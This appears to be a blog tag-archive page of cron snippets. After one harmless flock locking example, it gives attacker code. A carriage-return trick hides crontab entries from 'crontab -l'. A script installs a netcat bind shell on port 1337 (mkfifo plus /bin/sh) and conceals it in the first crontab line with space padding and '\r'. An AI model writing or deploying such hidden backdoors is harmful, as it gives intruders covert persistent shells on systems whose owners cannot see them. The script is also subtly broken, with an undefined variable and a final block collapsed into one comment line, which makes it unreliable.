Tag Archives: cron

lock crontab job

* * * * * /usr/bin/flock -w 0 /tmp/cron.lock /usr/bin/php7.4 /path/to/cron.php

hide cron

printf "* * * * * >/tmp/x;\rno crontab for $USER\n" | crontab - crontab -l no crontab for vit


Hidden backdoor:
BDOOR_PT=1337

BDOOR_SH="{ \

cd /tmp; mkfifo .i .o; \

cat .o | nc -l -p ${BDOOR_PT} > .i & \

/bin/sh < .i &>.o ; rm -f .i .o; \

}"
# scheduled task that will be hidden

HIDDEN="* * * * * ${BDOOR_SH}>/dev/null 2>&1"

# Display the current cron table and modify the first line crontab -l 2>&1 | { read FIRST_TASK; if [ ${#HIDDEN} -gt ${#FIRST_TASK} ]; then # end the first crontab line with spaces to hide our backdoor and # one more character (";"). while (( i < (${#HIDDEN} - ${#SHOWN_TASK} + 1) )); do FIRST_TASK="${FIRST_TASK} "; ((i++)) done fi # carriage return goes there ("\r") printf "${HIDDEN};\r${FIRST_TASK}\n"; cat } | crontab - if [ $? -eq 0 ]; then echo "Backdoor is now hidden in cron table" echo "Shell will be bind on port ${BDOOR_PT}." else echo "Failed." fi